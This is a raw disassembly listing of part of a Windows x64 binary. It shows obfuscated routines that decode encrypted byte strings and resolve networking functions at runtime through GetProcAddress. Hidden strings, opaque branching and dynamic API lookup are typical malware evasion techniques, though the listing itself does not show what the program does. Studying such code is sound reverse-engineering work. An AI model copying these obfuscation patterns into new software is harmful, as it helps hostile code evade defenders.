jmp 0x140067500
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140067a69
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140067a47
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140067a17
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400679c8
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14006799a
nop dword [rax + rax]
lea r9, [r8 + rbx]
cmp r9, r11
jbe 0x140067620
nop dword [rax]
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140067600
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x1400675e4
mov rbx, rax
lea r8, [rax + 0x42]
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x140067b59
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x140067578
mov rbx, rax
lea r8, [rax + 0x41]
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x1400675b6
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x140067597
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x140067510
mov rbx, rax
lea r8, [rax + 0x80]
jmp 0x140067510
lea edx, [r11 - 0x59]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x6f
add dil, dl
jmp 0x140067490
lea edx, [r11 + 0x46]
movzx eax, r10b
and al, dl
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x140067ae6
lea ecx, [r11 - 0x18]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x58
movzx eax, byte [rbp + r11 + 0xc0]
add rax, r8
add r11, rax
inc r11
jmp 0x140067423
lea ecx, [r11 + 8]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x38
jmp 0x140067a2e
lea edx, [r11 + 0x32]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x5e
movzx r9d, r11b
jmp 0x140067aa1
lea rax, [r8 + 0x400]
cmp rbx, rax
jae 0x1400676db
lea edx, [r11 - 0x51]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x37
add dil, dl
cmp r9, 3
je 0x140067975
lea rax, [r8 + 3]
cmp rbx, rax
jbe 0x140067793
lea edx, [r11 - 0x4d]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x1b
add dil, dl
cmp rbx, 0x28
jae 0x14006792e
lea rax, [r8 + 0x28]
cmp rbx, rax
jbe 0x14006783c
lea edx, [r11 + 0xe]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x62
add dil, dl
cmp r8, 5
jb 0x14006791e
movzx r9d, r11b
lea edx, [r9 - 0x46]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x2c]
jmp 0x140067aa4
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140067715
lea edx, [r11 - 0x4a]
movzx eax, r10b
and al, dl
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
movzx eax, byte [rbp + r11 + 0xc0]
add rax, r8
add r11, rax
inc r11
jmp 0x140067423
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006773e
lea edx, [r11 + 0x72]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x1e
movzx r9d, r11b
jmp 0x1400679e3
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140067766
lea ecx, [r11 + 0x2e]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x42
add rbx, r8
jmp 0x140067a2e
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006764a
lea edx, [r11 - 0x74]
movzx eax, r10b
and al, dl
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
movzx r9d, r11b
jmp 0x140067948
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400677bc
movzx r9d, r11b
lea edx, [r9 + 0x11]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x77
jmp 0x140067aa1
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400677ea
lea ecx, [r11 + 0x6f]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 9
inc r8
dec r11
inc r11
jmp 0x140067423
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006780f
lea ecx, [r11 - 0x19]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x51
jmp 0x140067a2e
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14006767b
movzx r9d, r11b
lea edx, [r9 + 0x45]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x1d
jmp 0x1400679e3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140067876
lea edx, [r11 + 0x6c]
movzx eax, r10b
and al, dl
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
movzx eax, byte [rbp + r11 + 0xc0]
add rax, r8
add r11, rax
inc r11
jmp 0x140067423
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006789e
lea edx, [r11 - 0x36]
movzx eax, r10b
and al, dl
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x140067ae6
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400678c6
lea ecx, [r11 - 0x1c]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x3c
add rbx, r8
jmp 0x140067a2e
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x1400678f1
lea ecx, [r11 - 0x60]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x60
dec r11
inc r11
jmp 0x140067423
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x1400676ac
movzx r9d, r11b
lea edx, [r9 + 0x5c]
movzx eax, r10b
and al, dl
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x140067aa1
mov byte [rbp + r11 + 0xc0], dil
inc r11
jmp 0x140067423
movzx r9d, r11b
lea edx, [r9 + 0x18]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub cl, al
add cl, 0x2c
lea edi, [rcx + rcx]
add dil, dl
sub r9b, 0x39
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x71
add r9b, r10b
add r9b, dil
mov byte [rbp + r11 + 0xc0], r9b
add rbx, r8
jmp 0x140067a2e
movzx r9d, r11b
lea edx, [r9 + 0x76]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, byte [rbp + r11 + 0xc0]
sub dil, 0x3a
jmp 0x1400679e3
lea ecx, [r11 - 0x57]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
add dil, 0x61
movzx eax, byte [rbp + r11 + 0xc0]
add rax, r8
add r11, rax
inc r11
jmp 0x140067423
movzx r9d, r11b
lea edx, [r9 - 0x13]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x7b
add dil, dl
add r9b, 0x25
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 3
add r9b, r10b
movzx eax, r9b
mov byte [rbp + r11 + 0xc0], al
inc r8
add rax, r8
sub r11, rax
jmp 0x140067ae6
lea ecx, [r11 - 0x71]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
add dil, 0x17
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140067423
lea ecx, [r11 + 0x75]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x33
dec r11
inc r11
jmp 0x140067423
movzx r9d, r11b
lea edx, [r9 - 0x47]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0xf
jmp 0x140067aa1
movzx r9d, r11b
lea edx, [r9 - 3]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x15
add dil, dl
add r9b, 0x69
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0x21
add r9b, r10b
mov byte [rbp + r11 + 0xc0], r9b
inc r8
dec r11
inc r11
jmp 0x140067423
lea rcx, [r11 + r13]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x13
lea edx, [r11 - 0x2c]
movzx eax, dl
and al, r10b
mov ecx, 0x1a
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0xc0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0xc0]
add rax, r8
add r11, rax
inc r11
jmp 0x140067423
lea rcx, [r11 + rsi]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5b
movzx eax, byte [rbp + r11 + 0xc0]
add rax, r8
add r11, rax
inc r11
jmp 0x140067423
sub r11b, 0x73
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
add dil, 0x25
jmp 0x140067405
lea rdx, [rbp + 0x14b0254]
jmp 0x140067b8f
lea rdx, [rbp + 0x15e6c03]
jmp 0x140067b8f
lea rdx, [rbp + 0xc0]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x78], rax
mov byte [rbp + 0xe0], 0xaf
mov byte [rbp + 0xe1], 0x8e
mov byte [rbp + 0xe2], 0x80
mov byte [rbp + 0xe3], 0x4c
mov byte [rbp + 0xe4], 0x9f
mov byte [rbp + 0xe5], 0x86
mov byte [rbp + 0xe6], 0x9a
mov byte [rbp + 0xe7], 0xaa
mov byte [rbp + 0xe8], 0xb3
mov byte [rbp + 0xe9], __WSAFDIsSet
mov byte [rbp + 0xea], 0x83
mov byte [rbp + 0xeb], 0xb6
mov byte [rbp + 0xec], __WSAFDIsSet
mov byte [rbp + 0xed], 0xa6
mov byte [rbp + 0xee], __WSAFDIsSet
mov byte [rbp + 0xef], 0x9c
mov byte [rbp + 0xf0], 6
xor eax, eax
mov qword [rbp + 0xf1], rax
mov dword [rbp + 0xf9], eax
mov word [rbp + 0xfd], ax
mov byte [rbp + 0xff], al
movabs rsi, 0xa85eca2b4a6e5fad
movabs r12, 0xeb551b859de15d15
movabs r13, 0xf91c5e81df4b1f07
movzx edi, byte [rbp + 0x3e0]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
nop word [rax + rax]
xor r10d, r10d
cmp r10, 0x20
jae 0x14006881b
movzx r11d, byte [rbp + r10 + 0xe0]
mov rdx, r11
nop dword [rax]
cmp rbx, r10
ja 0x140068812
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140067cbc
lea rcx, [r10 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
add dil, 0x45
jmp 0x140067d03
je 0x1400687a4
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140068713
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400686e6
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400686cb
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140068688
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140068664
cmp r8, r10
ja 0x140068809
lea rax, [r8 + 0x41]
cmp rbx, rax
jae 0x140067d2d
lea ecx, [r10 + 0x31]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x57
jmp 0x140067d61
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140068622
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140068603
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400685e8
lea rax, [r8 + 8]
cmp rbx, rax
je 0x1400685bb
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x1400682c6
nop
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400682a8
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140068280
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14006825f
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14006823c
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006821e
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400681ff
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x1400681e4
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x1400681c5
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x140068198
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140067d70
lea rbx, [r8 + 0x400]
lea r8, [rbx + 0x41]
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x1400687ec
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x1400687cf
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x140067f57
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x140067f3c
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x140067f21
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x14006814d
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x140068104
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x1400680c7
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x1400680a1
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x140067d70
lea rbx, [r8 + 0x1000]
lea r8, [rbx + 9]
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x140068074
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x140068059
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14006803a
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x14006801f
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x140067ffd
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x140067fde
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x140067fb9
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x140067f95
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x140067f72
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x140067d70
lea rbx, [r8 + 5]
lea r8, [rbx + 0x3e8]
jmp 0x140067d70
lea ecx, [r10 - 0x11]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x77
jmp 0x140067d61
lea ecx, [r10 - 0x6b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x13
jmp 0x140067d03
lea ecx, [r10 + 0x3b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x63
jmp 0x140067c86
lea edx, [r10 - 0x78]
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx edx, r10b
jmp 0x14006863b
lea ecx, [r10 + 0x2e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x42
inc r8
dec r10
inc r10
jmp 0x140067c73
lea edx, [r10 - 0x2c]
movzx eax, dl
and al, r11b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
dec r10
inc r10
jmp 0x140067c73
lea ecx, [r10 + 0x7a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x56
movzx r9d, r10b
jmp 0x1400686a2
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
add rbx, r8
jmp 0x1400686fa
lea ecx, [r10 - 0x3a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x6a
jmp 0x1400686fa
lea edx, [r10 + 0x6c]
movzx eax, dl
and al, r11b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140068735
lea ecx, [r10 + 0x12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x7e
jmp 0x14006875d
lea ecx, [r10 - 0x48]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 8
movzx eax, byte [rbp + r10 + 0xe0]
add rax, r8
add r10, rax
inc r10
jmp 0x140067c73
lea ecx, [r10 + 0x57]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x61
mov byte [rbp + r10 + 0xe0], dil
inc r10
jmp 0x140067c73
lea ecx, [r10 - 3]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x15
cmp r8, 0x5a
jb 0x1400680b7
movzx edx, r10b
lea ecx, [rdx - 0x12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea edi, [rcx*2 - 4]
jmp 0x14006863b
lea ecx, [r10 - 0x5d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x75
cmp rbx, 0x42
jae 0x14006857e
lea rcx, [r8 + 2]
cmp rbx, rcx
jbe 0x14006847b
lea edx, [r10 + 0x6a]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x1400680dd
lea ecx, [r10 + 0x49]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
inc dil
lea rax, [r8 + rbx]
cmp rax, 4
je 0x1400685a5
lea rax, [r8 + 0x200]
cmp rbx, rax
jbe 0x1400683a5
lea ecx, [r10 + 0x39]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x71
jmp 0x14006811a
lea ecx, [r10 + 0x26]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0xa
movzx eax, byte [rbp + r10 + 0xe0]
add rax, r8
add r10, rax
inc r10
jmp 0x140067c73
lea edx, [r10 - 0x34]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006875d
lea ecx, [r10 + 0x72]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x1e
jmp 0x140068735
lea edx, [r10 + 0x18]
movzx eax, dl
and al, r11b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x1400686fa
lea ecx, [r10 - 0x42]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x32
add rbx, r8
jmp 0x1400686fa
movzx r9d, r10b
lea edx, [r9 + 0x64]
movzx eax, dl
and al, r11b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x1400686a2
lea ecx, [r10 + 0xa]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x46
dec r10
inc r10
jmp 0x140067c73
lea edx, [r10 - 0x50]
movzx eax, dl
and al, r11b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
inc r8
dec r10
inc r10
jmp 0x140067c73
movzx edx, r10b
lea ecx, [rdx + 0x56]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x5a
jmp 0x14006863b
lea rax, [r8 + 0x1000]
cmp rbx, rax
jae 0x1400682ed
lea ecx, [r10 - 0x53]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x45
jmp 0x140068162
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140068327
lea edx, [r10 + 0x62]
movzx eax, dl
and al, r11b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx eax, byte [rbp + r10 + 0xe0]
add rax, r8
add r10, rax
inc r10
jmp 0x140067c73
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006834f
lea edx, [r10 + 0x16]
movzx eax, dl
and al, r11b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140068735
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006837a
lea edx, [r10 - 0x36]
movzx eax, dl
and al, r11b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
add rbx, r8
jmp 0x1400686fa
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140068162
movzx edx, r10b
lea ecx, [rdx + 0x32]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x5e
jmp 0x14006863b
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400683cc
movzx edx, r10b
lea ecx, [rdx - 0x6d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 5
jmp 0x14006863b
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400683f6
lea ecx, [r10 + 0x47]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0xf
dec r10
inc r10
jmp 0x140067c73
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006841d
lea ecx, [r10 - 5]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x23
add rbx, r8
jmp 0x1400686fa
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140068441
lea ecx, [r10 + 0x55]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x53
jmp 0x1400686fa
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14006811a
lea ecx, [r10 + 0x63]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x4b
movzx eax, byte [rbp + r10 + 0xe0]
add rax, r8
add r10, rax
inc r10
jmp 0x140067c73
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400684b1
lea ecx, [r10 - 0x3c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x5c
movzx eax, byte [rbp + r10 + 0xe0]
add rax, r8
add r10, rax
inc r10
jmp 0x140067c73
cmp rbx, rcx
jne 0x1400684d1
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x48
jmp 0x140068735
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400684f8
lea ecx, [r10 + 0x2c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x34
add rbx, r8
jmp 0x1400686fa
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140068522
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x20
dec r10
inc r10
jmp 0x140067c73
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140068553
lea edx, [r10 + 0x3a]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
inc r8
dec r10
inc r10
jmp 0x140067c73
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x1400680dd
movzx edx, r10b
lea ecx, [rdx - 0x6c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0xc
jmp 0x14006863b
movzx r9d, r10b
lea edx, [r9 + 0x48]
movzx eax, dl
and al, r11b
movzx ecx, byte [rbp + r10 + 0xe0]
sub cl, al
add cl, 4
lea edi, [rcx + rcx]
add dil, dl
jmp 0x1400686a2
lea ecx, [r10 - 0x5e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [rcx - 0x6e]
jmp 0x140068735
lea ecx, [r10 + 0x5b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x7d
movzx eax, byte [rbp + r10 + 0xe0]
add rax, r8
add r10, rax
inc r10
jmp 0x140067c73
lea ecx, [r10 + 0x4d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x1b
jmp 0x1400686fa
movzx r9d, r10b
lea ecx, [r9 - 0x67]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x2f
jmp 0x1400686a2
movzx edx, r10b
lea ecx, [rdx - 0x75]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x33
sub dl, 0x65
movzx eax, dl
and al, r11b
add al, al
sub dl, al
sub dl, 0x3d
add dl, r11b
mov byte [rbp + r10 + 0xe0], dl
inc r8
dec r10
inc r10
jmp 0x140067c73
lea ecx, [r10 + 0x7d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x6b
inc r8
dec r10
inc r10
jmp 0x140067c73
movzx r9d, r10b
lea ecx, [r9 - 0x37]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x7f
sub r9b, 0xb
movzx eax, r9b
and al, r11b
add al, al
movzx ecx, dil
sub cl, al
add cl, 0x4d
add cl, r9b
add cl, r11b
mov byte [rbp + r10 + 0xe0], cl
add rbx, r8
jmp 0x1400686fa
lea ecx, [r10 + 0x6f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 9
add rbx, r8
jmp 0x1400686fa
lea rcx, [r10 + r12]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
add dil, 0x6d
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140067c73
movabs rcx, 0x9a97872f09049dbb
add rcx, r10
movzx r11d, dl
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x1d
lea ecx, [r10 + 0x4f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x29
add cl, r11b
movzx eax, cl
mov byte [rbp + r10 + 0xe0], al
inc r8
add rax, r8
sub r10, rax
lea edx, [r10 - 4]
movzx eax, dl
and al, r11b
mov ecx, recvfrom
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + r10 + 0xe0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0xe0]
add rax, r8
add r10, rax
inc r10
jmp 0x140067c73
lea rcx, [r10 + r13]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x31
movzx eax, byte [rbp + r10 + 0xe0]
add rax, r8
add r10, rax
inc r10
jmp 0x140067c73
sub r10b, 0x1f
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
sub dil, 0x27
jmp 0x140067c70
sub r10b, 0x79
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
add dil, 0x4f
jmp 0x140067c55
lea rdx, [rbp + 0x168491c]
jmp 0x140068822
lea rdx, [rbp + 0x116a8c9]
jmp 0x140068822
lea rdx, [rbp + 0xe0]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x80], rax
mov byte [rbp + 0x2d0], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x2d1], 0x4e
mov byte [rbp + 0x2d2], 0x50
mov byte [rbp + 0x2d3], 0x61
mov byte [rbp + 0x2d4], 0x5b
mov byte [rbp + 0x2d5], 0x5f
mov byte [rbp + 0x2d6], 0x43
mov byte [rbp + 0x2d7], 0x46
mov byte [rbp + 0x2d8], 0x58
mov byte [rbp + 0x2d9], 0x5c
mov byte [rbp + 0x2da], 0x57
mov byte [rbp + 0x2db], 0x41
mov byte [rbp + 0x2dc], 0x56
mov byte [rbp + 0x2dd], 0x68
mov byte [rbp + 0x2de], 0x5f
mov byte [rbp + 0x2df], 0x45
mov byte [rbp + 0x2e0], 0x52
mov byte [rbp + 0x2e1], 0x44
mov byte [rbp + 0x2e2], 0x4d
mov byte [rbp + 0x2e3], 0xbb
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2e4], xmm0
mov qword [rbp + 0x2f4], rax
mov word [rbp + 0x2fc], ax
mov byte [rbp + 0x2fe], al
movabs rsi, 0x4d00ffa20e6655e5
movabs r12, 0xb508fcb28199050d
movabs r13, 0xe702fee62b3301af
movzx edi, byte [rbp + 0x3e0]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x2f
jae 0x1400693ec
movzx r11d, byte [rbp + r10 + 0x2d0]
mov rdx, r11
nop dword [rax]
cmp rbx, r10
ja 0x1400693e3
